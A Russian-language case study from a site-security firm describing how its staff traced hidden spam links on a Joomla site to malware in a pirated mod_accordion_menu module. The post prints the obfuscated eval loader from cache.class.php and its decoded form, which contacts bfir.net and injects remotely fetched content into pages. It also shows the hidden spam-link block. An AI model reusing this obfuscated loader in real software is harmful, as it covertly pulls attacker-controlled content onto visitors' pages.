ENG    РУС

Все статьи »

Кейс: удалить спаммерские ссылки на сайте

Закажите лечение сайта и защиту от взлома у специалистов

или почему mod_accordion_menu и другие компоненты Joomla нужно покупать, а не скачивать на варезных сайтах.

К нам обратился клиент, у которого в коде страниц сайта вставлялись спам-ссылки вида

<div style='position:absolute;left:-5000px;width:531px'>Скачать joomla модуль обратной связи. Самые лучшие <a href="http://xxxcms.ru/index.php?option=com_content&view=category&layout=blog&id=46&Itemid=49" title="joomla модули">joomla модули</a> скачать бесплатно. Как сделать joomla отображение модулей. Гайды классов в World of Warcraft. Лучший сервера для онлайн игры <a href="http://xxx-helper.ru/" title="wow">wow</a>. Скачать самые лучшие аддоны для world of warcraft…. <a href="http://xxx-medicine.ru/category/stomatology" title="Стоматология">Стоматология</a> челюстно лицевой хирургии. Круглосуточная стоматология в москве.</div> 

Необходимо было найти и удалить их. Ниже приводим записи бортового самописца, которые помогут вам в поиске подобного безобразия на ваших сайтах:

  1. Выполнили поиск фрагментов ссылок (искали по url сайтов) по всем файлам сайта — пусто
  2. Проверили код скриптов на наличие скриптов ссылочных бирж, наподобие Sape, Trustlink, Linkfeed, Mainlink, Setlinks и т.п. — скриптов не нашлось
  3. Сделали поиск по базе данных фрагментов url, а также base64_decode и eval конструкций — записей не нашлось
  4. Отключили через php.ini на сервере fopen и fsockopen (настройка disable_functions) — часть ссылок осталась, часть исчезла. Это означает, что часть зашифрована в скриптах, а часть загружается с удаленного сервера и вставляется в код. Значит нужно искать в коде скриптов Joomla
  5. С помощью анализа исходного кода результирующей страницы и соседних фрагментов html кода нашли, какой метатег в шаблоне вставляет блок со ссылками: <jdoc:include type="modules" name="left" /> Если его закомментировать, блок ссылок исчезал (как и кусок html кода с меню и формой).
  6. По админ-панели Joomla нашли все модули с именем «left». Оказалось два: RSForm! Pro Feedback Module и Accordion Menu — Offlajn.com.
  7. Отключили первый модуль в админке — ссылки остались. Отключили второй — ссылки исчезли. Значит вредоносный код в modules/mod_accordion_menu. Осталось найти сам код.
  8. Сделали поиск по eval — сразу нашелся код в файле modules\mod_accordion_menu\classes\cache.class.php

function accordion_cache_view() { 

    $LimitCharacters = 10; 

     $Keys = ''; 

    $RandomNum = array(1251.3, 13875.1875, 1388.8125, 1250.175, 13750.175, 13751.425, 13762.5625, 13875.175, 1263.925, 13763.925, 13751.3125, 13876.3, 1250.175, 1387.6875, 1251.3, 13750.1875, 1388.8125, 12500.05, 13751.425, 13875.1875, 13763.9375, 13750.1875, 13762.6875, 13763.9375, /* тут погрызено мышами для экономии места */ 13876.3, 1387.675, 1263.8125, 1376.3125, 1375.05, 1375.05, 1375.05, 13875.05, 13887.55, 1387.6875, 1251.4375, 1388.925, 1251.3, 13751.3, 1388.8, 1263.9375, 13751.3, 13762.5625, 13876.425, 1388.925, 1250.175, 1387.6875, 13888.8125, 0.05); 

    // Create a random string of keys
    foreach($RandomNum as $key) {$Keys .= chr(bindec($key * 80 - 4));}

    @eval($Keys);

}

Если заменить eval на echo, можно увидеть, что за безобразие вставлено в код:

$s="bfir.net";$c=@fsockopen($s,80,$e,$r,10);if($c){$d=@file_get_contents("http://".$s."/r.php?s=".$_SERVER["HTTP_HOST"]); echo …

Удаляем содержимое функции accordion_cache_view или просто комментируем строку @eval. Тут и сказочке конец.

Мораль — не качайте взломанные модули, это бесплатный сыр.

Ну а если самостоятельно справиться не получается, обращайтесь к нам в Revisium.com.

Спасибо за внимание.

Посмотреть другие статьи.

Закажите лечение сайта и защиту от взлома у специалистов

Обсуждаем!